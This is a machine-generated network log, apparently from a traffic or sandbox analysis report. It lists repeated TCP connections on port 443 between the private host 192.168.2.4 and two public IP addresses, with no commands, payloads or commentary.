Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49847 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49846 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49845 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49850 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49849 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49851 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49852 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49853 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49858 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49855 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49859 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49856 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49857 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49861 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49862 -> 13.107.246.45:443

Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49736
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49737 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49737
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 192.168.2.4:49739 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49739
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 192.168.2.4:49740 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49740
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49743 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49743
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.4:49745
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 192.168.2.4:49842 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49842
